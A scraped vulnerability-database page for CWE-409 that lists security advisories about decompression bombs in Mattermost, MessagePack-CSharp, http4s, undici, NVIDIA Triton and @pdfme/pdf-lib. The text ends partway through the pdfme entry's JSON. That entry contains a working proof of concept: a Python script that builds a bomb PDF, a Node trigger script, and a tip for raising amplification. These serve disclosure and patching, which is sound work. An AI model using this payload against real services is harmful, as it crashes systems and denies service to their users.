CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
194 vulnerabilities reference this CWE, most recent first.
GHSA-V647-H8JJ-FW5R
Vulnerability from github – Published: 2024-12-16 09:31 – Updated: 2024-12-16 19:27Mattermost versions 10.1.x <= 10.1.2, 10.0.x <= 10.0.2, 9.11.x <= 9.11.4, 9.5.x <= 9.5.12 fail to limit the file size for slack import file uploads which allows a user to cause a DoS via zip bomb by importing data in a team they are a team admin.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0"
},
{
"fixed": "10.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.11.0"
},
{
"fixed": "9.11.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.5.0"
},
{
"fixed": "9.5.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-54682"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-16T19:27:16Z",
"nvd_published_at": "2024-12-16T08:15:05Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 10.1.x \u003c= 10.1.2, 10.0.x \u003c= 10.0.2, 9.11.x \u003c= 9.11.4, 9.5.x \u003c= 9.5.12 fail to limit the file size for slack import file uploads which allows a user to\u00a0cause a DoS via zip bomb by importing data in a team they are a team admin.",
"id": "GHSA-v647-h8jj-fw5r",
"modified": "2024-12-16T19:27:16Z",
"published": "2024-12-16T09:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54682"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Data Amplification vulnerability"
}
GHSA-V72X-2H86-7F8M
Vulnerability from github – Published: 2026-06-25 18:53 – Updated: 2026-06-25 18:53Summary
When MessagePack-CSharp decompresses Lz4Block or Lz4BlockArray payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.
A small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.
Impact
Applications are affected when they deserialize attacker-controlled MessagePack payloads with MessagePackCompression.Lz4Block or MessagePackCompression.Lz4BlockArray enabled.
In the Lz4Block case, an attacker-controlled integer is used to request the destination span. In the Lz4BlockArray case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.
This advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.
Affected components
- Package:
MessagePack - Feature: LZ4 compressed MessagePack payloads
- APIs:
MessagePackSerializerwithWithCompression(MessagePackCompression.Lz4Block)orWithCompression(MessagePackCompression.Lz4BlockArray) - Internal routine:
MessagePackSerializer.TryDecompress - Finding ID:
MESSAGEPACKCSHARP-OPEN-004
Patches
Fixes are prepared and will be released in coordinated patch versions.
Upgrade guidance:
- Upgrade
MessagePackto the patched version for your release line. - Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.
The fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.
Workarounds
Patching is recommended.
Until a patched version is available, do not enable MessagePack-CSharp's built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.
Resources
MESSAGEPACKCSHARP-OPEN-004: LZ4 decompression allocation from unbounded uncompressed lengthMESSAGEPACKCSHARP-011: duplicate decompression-bomb finding- CWE-409: Improper Handling of Highly Compressed Data
- CWE-770: Allocation of Resources Without Limits or Throttling
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.301"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48510"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:53:44Z",
"nvd_published_at": "2026-06-22T22:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen MessagePack-CSharp decompresses `Lz4Block` or `Lz4BlockArray` payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.\n\nA small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.\n\n## Impact\n\nApplications are affected when they deserialize attacker-controlled MessagePack payloads with `MessagePackCompression.Lz4Block` or `MessagePackCompression.Lz4BlockArray` enabled.\n\nIn the `Lz4Block` case, an attacker-controlled integer is used to request the destination span. In the `Lz4BlockArray` case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.\n\nThis advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: LZ4 compressed MessagePack payloads\n- APIs: `MessagePackSerializer` with `WithCompression(MessagePackCompression.Lz4Block)` or `WithCompression(MessagePackCompression.Lz4BlockArray)`\n- Internal routine: `MessagePackSerializer.TryDecompress`\n- Finding ID: `MESSAGEPACKCSHARP-OPEN-004`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, do not enable MessagePack-CSharp\u0027s built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-OPEN-004`: LZ4 decompression allocation from unbounded uncompressed length\n- `MESSAGEPACKCSHARP-011`: duplicate decompression-bomb finding\n- CWE-409: Improper Handling of Highly Compressed Data\n- CWE-770: Allocation of Resources Without Limits or Throttling",
"id": "GHSA-v72x-2h86-7f8m",
"modified": "2026-06-25T18:53:44Z",
"published": "2026-06-25T18:53:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-v72x-2h86-7f8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48510"
},
{
"type": "PACKAGE",
"url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MessagePack-CSharp: LZ4 decompression allocates from unbounded declared output lengths"
}
GHSA-VHGH-G7X8-4RX8
Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-03-31 23:05Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.4.0"
},
{
"fixed": "11.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"11.4.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.3.0"
},
{
"fixed": "11.3.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "11.2.0"
},
{
"fixed": "11.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-20260105080200-d27a2195068d"
},
{
"fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-3114"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:05:48Z",
"nvd_published_at": "2026-03-26T17:16:42Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 11.4.x \u003c= 11.4.0, 11.3.x \u003c= 11.3.1, 11.2.x \u003c= 11.2.3, 10.11.x \u003c= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.",
"id": "GHSA-vhgh-g7x8-4rx8",
"modified": "2026-03-31T23:05:48Z",
"published": "2026-03-26T18:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3114"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mattermost doesn\u0027t validate decompressed archive entry sizes during file extraction"
}
GHSA-VMM3-XGCX-67HM
Vulnerability from github – Published: 2026-08-26 14:10 – Updated: 2026-08-26 14:10Summary
http4s 0.23.x and 1.0 servers running ember with http2 enabled are vulnerable to a denial of service attack using a HPACK bomb vulnerability recently disclosed as affecting other http2 servers.
Impact
Denial of Service: - Affects any http4s server running the ember backend with HTTP/2 enabled that is exposed to untrusted traffic. - Affects any http4s client running the ember backend with HTTP/2 enabled that can be directed to an untrusted server.
Details
The issue occurs in the Hpack wrapper. Ember concatenates the header and continuation frames before decoding all headers at once. When the code decodes the attack payload, the relatively small packets decode to a significantly larger amount of data which is returned as a single List which is then held in memory for further processing. With enough concurrent connections (~5 with a 2GB heap in testing) this leads to an OOM, eg:
java.lang.OutOfMemoryError: Java heap space
at scala.collection.mutable.ListBuffer.scala$collection$mutable$ListBuffer$$freshFrom(ListBuffer.scala:129)
at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:147)
at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:40)
at scala.collection.mutable.Growable.$plus$plus$eq(Growable.scala:69)
at scala.collection.mutable.Growable.$plus$plus$eq$(Growable.scala:69)
at scala.collection.mutable.AbstractBuffer.$plus$plus$eq(Buffer.scala:314)
at org.http4s.Header$.org$http4s$Header$ToRaw$$anon$10$$_$$lessinit$greater$$anonfun$2(Header.scala:192)
at org.http4s.Header$ToRaw$$anon$10$$Lambda/0x00001fe001239c50.apply(Unknown Source)
at scala.collection.immutable.List.foreach(List.scala:334)
at org.http4s.Header$ToRaw$$anon$10.<init>(Header.scala:192)
at org.http4s.Header$ToRaw$.scalaCollectionSeqToRaw(Header.scala:195)
at org.http4s.Headers$.apply(Headers.scala:220)
at org.http4s.ember.core.h2.PseudoHeaders$.headersToRequestNoBody(PseudoHeaders.scala:95)
at org.http4s.ember.core.h2.H2Stream.receiveHeaders$$anonfun$1$$anonfun$2$$anonfun$3$$anonfun$2(H2Stream.scala:248)
at org.http4s.ember.core.h2.H2Stream$$Lambda/0x00001fe001511fd8.apply(Unknown Source)
at cats.effect.IOFiber.runLoop(IOFiber.scala:429)
at cats.effect.IOFiber.autoCedeR(IOFiber.scala:1460)
at cats.effect.IOFiber.run(IOFiber.scala:129)
at cats.effect.unsafe.WorkerThread.run(WorkerThread.scala:935)
Fix
The Hpack handling code has a configurable max header size parameter, but it does not include indexed headers in that accounting, allowing the attack to bypass the limit. There is not any configuration available in current http4s versions that can be enabled to prevent this attack short of disabling http2.
A fix has been tested locally that threads the maxHeaderSize setting from the server builder into the Hpack code. Using this, connections can be prematurely terminated once the decoded data size exceeds the maxHeaderSize that users can already configure.
Workarounds
If you can't upgrade immediately: - Disable HTTP/2 in Ember backends
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.34"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.0.0-M46"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M47"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.34"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.0.0-M46"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_3"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-M1"
},
{
"fixed": "1.0.0-M47"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.34"
},
"package": {
"ecosystem": "Maven",
"name": "org.http4s:http4s-ember-core_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54556"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T14:10:59Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nhttp4s 0.23.x and 1.0 servers running ember with http2 enabled are vulnerable to a denial of service attack using a HPACK bomb vulnerability recently disclosed as affecting other http2 servers.\n\n### Impact\n\nDenial of Service:\n- Affects any http4s server running the ember backend with HTTP/2 enabled that is exposed to untrusted traffic.\n- Affects any http4s client running the ember backend with HTTP/2 enabled that can be directed to an untrusted server.\n\n### Details\n\nThe issue occurs in the [Hpack wrapper](https://github.com/http4s/http4s/blob/c63fbff43dfe7e3bec25b789fd0a0027ec40ed62/ember-core/shared/src/main/scala/org/http4s/ember/core/h2/Hpack.scala#L54). Ember concatenates the header and continuation frames before decoding all headers at once. When the code decodes the attack payload, the relatively small packets decode to a significantly larger amount of data which is returned as a single List which is then held in memory for further processing. With enough concurrent connections (~5 with a 2GB heap in testing) this leads to an OOM, eg:\n\n```\njava.lang.OutOfMemoryError: Java heap space\n at scala.collection.mutable.ListBuffer.scala$collection$mutable$ListBuffer$$freshFrom(ListBuffer.scala:129)\n at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:147)\n at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:40)\n at scala.collection.mutable.Growable.$plus$plus$eq(Growable.scala:69)\n at scala.collection.mutable.Growable.$plus$plus$eq$(Growable.scala:69)\n at scala.collection.mutable.AbstractBuffer.$plus$plus$eq(Buffer.scala:314)\n at org.http4s.Header$.org$http4s$Header$ToRaw$$anon$10$$_$$lessinit$greater$$anonfun$2(Header.scala:192)\n at org.http4s.Header$ToRaw$$anon$10$$Lambda/0x00001fe001239c50.apply(Unknown Source)\n at scala.collection.immutable.List.foreach(List.scala:334)\n at org.http4s.Header$ToRaw$$anon$10.\u003cinit\u003e(Header.scala:192)\n at org.http4s.Header$ToRaw$.scalaCollectionSeqToRaw(Header.scala:195)\n at org.http4s.Headers$.apply(Headers.scala:220)\n at org.http4s.ember.core.h2.PseudoHeaders$.headersToRequestNoBody(PseudoHeaders.scala:95)\n at org.http4s.ember.core.h2.H2Stream.receiveHeaders$$anonfun$1$$anonfun$2$$anonfun$3$$anonfun$2(H2Stream.scala:248)\n at org.http4s.ember.core.h2.H2Stream$$Lambda/0x00001fe001511fd8.apply(Unknown Source)\n at cats.effect.IOFiber.runLoop(IOFiber.scala:429)\n at cats.effect.IOFiber.autoCedeR(IOFiber.scala:1460)\n at cats.effect.IOFiber.run(IOFiber.scala:129)\n at cats.effect.unsafe.WorkerThread.run(WorkerThread.scala:935)\n```\n\n### Fix\n \nThe Hpack handling code has a configurable max header size parameter, but it does not include indexed headers in that accounting, allowing the attack to bypass the limit. There is not any configuration available in current http4s versions that can be enabled to prevent this attack short of disabling http2.\n\nA fix has been tested locally that threads the maxHeaderSize setting from the server builder into the Hpack code. Using this, connections can be prematurely terminated once the decoded data size exceeds the maxHeaderSize that users can already configure.\n\n### Workarounds\n\nIf you can\u0027t upgrade immediately:\n- Disable HTTP/2 in Ember backends",
"id": "GHSA-vmm3-xgcx-67hm",
"modified": "2026-08-26T14:10:59Z",
"published": "2026-08-26T14:10:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-vmm3-xgcx-67hm"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/commit/6e8eccd64a6a74ab4811897881e95e0e1b3a818e"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/releases/tag/v0.23.35"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/releases/tag/v1.0.0-M47"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "http4s has HTTP/2 Denial of Service with Ember Backend"
}
GHSA-VQ94-FCWH-99V7
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-24264"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:45Z",
"severity": "HIGH"
},
"details": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.",
"id": "GHSA-vq94-fcwh-99v7",
"modified": "2026-07-01T18:31:49Z",
"published": "2026-07-01T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24264"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5848"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24264"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VRM6-8VPV-QV8Q
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Description
The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.
The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.
Impact
- Remote denial of service against any Node.js application using undici's WebSocket client
- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
- No application-level mitigation is possible as decompression occurs before message delivery
Patches
Users should upgrade to fixed versions.
Workarounds
No workaround are possible.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1526"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:56Z",
"nvd_published_at": "2026-03-12T21:16:23Z",
"severity": "HIGH"
},
"details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
"id": "GHSA-vrm6-8vpv-qv8q",
"modified": "2026-03-13T20:41:56Z",
"published": "2026-03-13T20:41:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3481206"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Denial_of_Service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}
GHSA-VRQM-GVQ7-RRWH
Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-20 20:44Summary
The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.
Details
The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).
Unbounded buffer growth in ensureBuffer() — packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:
protected ensureBuffer(requested: number) {
const buffer = this.buffer;
if (requested <= buffer.byteLength) {
return buffer;
}
let size = this.minBufferLength;
while (size < requested) {
size *= 2; // Doubles with no upper bound
}
const buffer2 = new Uint8Array(size); // Allocates without limit
buffer2.set(buffer);
return (this.buffer = buffer2);
}
The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.
Unconditional full decompression in decode() — DecodeStream.ts:139-141:
decode(): Uint8Array {
while (!this.eof) this.readBlock(); // Fully decompresses before returning
return this.buffer.subarray(0, this.bufferLength);
}
FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:
if (pos + 1 >= limit) {
buffer = this.ensureBuffer(pos + 1);
limit = buffer.length;
}
And again at line 297-300:
if (pos + len >= limit) {
buffer = this.ensureBuffer(pos + len);
limit = buffer.length;
}
Entry point via basePdf — packages/generator/src/helper.ts:42-43:
const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);
The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStream → DecodeStream with no size limits.
The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.
PoC
Step 1: Create a decompression bomb PDF
#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct
# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB
compressed = zlib.compress(uncompressed, 9)
# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
/Contents 4 0 R >>
endobj
4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj
xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
f.write(pdf)
f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")
print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")
Step 2: Trigger via @pdfme/generator
const { generate } = require('@pdfme/generator');
const fs = require('fs');
const bombPdf = fs.readFileSync('bomb.pdf');
// This will cause unbounded memory allocation during PDF parsing
generate({
template: {
basePdf: bombPdf, // Attacker-controlled input
schemas: [[]],
},
inputs: [{}],
plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));
Step 3: Observe memory exhaustion
# Monitor memory usage — the Node.js process will consume all available memory
# and either crash with a heap allocation failure or be OOM-killed
node --max-old-space-size=512 trigger.js
# Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"
For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.
Impact
- Denial of Service: Any application using
@pdfme/generatoror@pdfme/uithat allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. - Server-side impact: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.
- Client-side impact: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.
- No authentication bypass needed: The attack only requires the ability to supply a
basePdfvalue, which is the standard template input parameter — no elevated privileges are needed.
Recommended Fix
Add a maximum decoded size limit to ensureBuffer() in packages/pdf-lib/src/core/streams/DecodeStream.ts:
const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB
class DecodeStream implements StreamType {
// ... existing fields ...
protected ensureBuffer(requested: number) {
const buffer = this.buffer;
if (requested <= buffer.byteLength) {
return buffer;
}
if (requested > MAX_DECODED_SIZE) {
throw new Error(
`Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +
`This may indicate a decompression bomb.`
);
}
let size = this.minBufferLength;
while (size < requested) {
size *= 2;
}
// Cap the allocation even if the doubling overshoots
if (size > MAX_DECODED_SIZE) {
size = MAX_DECODED_SIZE;
}
const buffer2 = new Uint8Array(size);
buffer2.set(buffer);
return (this.buffer = buffer2);
}
}
Optionally, expose the limit via PDFDocument.load() options so consumers can tune it:
// In LoadOptions interface:
interface LoadOptions {
// ... existing options ...
maxDecodedStreamSize?: number; // Default: 100 MB
}
{
"affected": [
{
"database_specific": {
